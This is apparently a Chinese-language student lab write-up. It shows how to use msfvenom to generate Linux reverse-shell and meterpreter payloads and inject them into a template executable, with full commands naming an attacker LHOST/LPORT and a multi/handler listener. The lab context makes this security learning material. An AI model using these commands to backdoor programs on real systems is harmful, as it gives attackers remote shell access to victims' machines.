使用MSF生成shellcode
- payload和shellcode的區別
Payload是是包含在你用於一次漏洞利用(exploit)中的ShellCode中的主要功能代碼。因為Payload是包含在ShellCode中的,ShellCode是真正的被輸入到存在漏洞的程序中的,並且ShellCode負責把程序的流程最終轉移到你的Payload代碼中。所以對於一個漏洞來說,ShellCode就是一個用於某個漏洞的二進制代碼框架,有了這個框架你可以在這個ShellCode中包含你需要的Payload來做一些事情。
- 利用msfvenom生成payload
給個中文版的msfvenom的命令行選項:
Options:
-p, --payload <payload> 指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload,請使用'-'或者stdin指定
-l, --list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all
-n, --nopsled <length> 為payload預先指定一個NOP滑動長度
-f, --format <format> 指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(編碼器)
-a, --arch <architecture> 指定payload的目標架構
--platform <platform> 指定payload的目標平台
-s, --space <length> 設定有效攻擊荷載的最大長度
-b, --bad-chars <list> 設定規避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的編碼次數
-c, --add-code <path> 指定一個附加的win32 shellcode文件
-x, --template <path> 指定一個自定義的可執行文件作為模板
-k, --keep 保護模板程序的動作,注入的payload作為一個新的進程運行
--payload-options 列舉payload的標准選項
-o, --out <path> 保存payload
-v, --var-name <name> 指定一個自定義的變量,以確定輸出格式
--shellest 最小化生成payload
-h, --help 查看幫助選項
--help-formats 查看msf支持的輸出格式列表
首先我們用到的第一個選項是-l,查看所有msf可用的payload列表。里面有526種payload,我們需要的payload功能是獲取反彈連接shell。
想要找到可用的payload首先要知道靶機的版本。在網上找方法查了一下,我開的另外一台kali靶機是64位。對應linux64位可用的payload有這些。
根據這些payload的功能描述,找出我們需要的payload,使用-p指定。給大家翻譯了一下這些描述啥意思,如下:
- execute an arbitrary command
執行一個任意命令
- Inject the mettle server payload(staged).Listen to a connection.
注入mettle server payload,監聽等待一個連接。
- Inject the mettle server payload(staged).Connect back to a connection.
注入mettle server payload,反彈連接一個連接。
- run the meterpreter /Mettle server payload (stageless)
運行meterpreter或者Mettle server payload
- spawn a command shell.Listen to a connection.
產生一個shell,等待連接。
- spawn a command shell.Connect back to a connection.
產生一個shell,反彈連接一個連接。
- Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
在一個隨機端口監聽一個連接,並產生一個shell。
- Spawn a shell on an established connection
在已經存在的連接上產生一個shell
- Connect back to attacker and spawn a command shell
反彈連接攻擊者,並產生一個shell。
很顯然我們選擇最后一個,linux/x64/shell_reverse_tcp.
選定了payload,我們需要給它寫一些什么參數呢?用這個指令查看
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
基礎參數就兩個LHOST和LPORT。跟在payloa后面設置一下就可以了。
選好了payload,接下來我們-f選payload的輸出格式。用這個指令可以查看payload有哪些輸出格式。
msfvenom --help-formats
發現有很多:
我們的目標是注入到pwn1里去,當然選擇ELF格式了!
還可以用-e選擇編碼器和-i迭代編碼的次數。用這個指令查看可用的編碼方式。
msfvenom -l encoders
但ELF文件的編碼方式應該是機器無關的,不用選這個選項。
最后呢,當然是要用-x參數指定我們的模板pwn1.payload(shellcode)就寫入到pwn1這個可執行文件中。
所以,最終我們的指令是
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf -o pwn2
然后把我們毒化的pwn2,復制到靶機里。
打開攻擊方的msfconsole,加載exploit/multi/handler模塊,設置參數,最后一個exploit指令!攻擊!
但是一切似乎不如人意,我在靶機上運行了pwn2,控制機沒有任何反應……
然后又在網上找了這篇文章msfvenom生成各類Payload命令,里面說linux里指令要這樣寫
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
對比之后,我意識到,雖然linux系統是64位,但pwn1是個32位程序啊!所以還是用x86下面的payload。
最終的指令是這樣的:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf > pwn3
再懷着忐忑和激動的心情去測試了一下pwn3,就發現成功了!
做了一天才成功,找了很多亂七八糟的資料,主要有用的參考資料如下:
Meatsploit Framework msfvenom使用簡介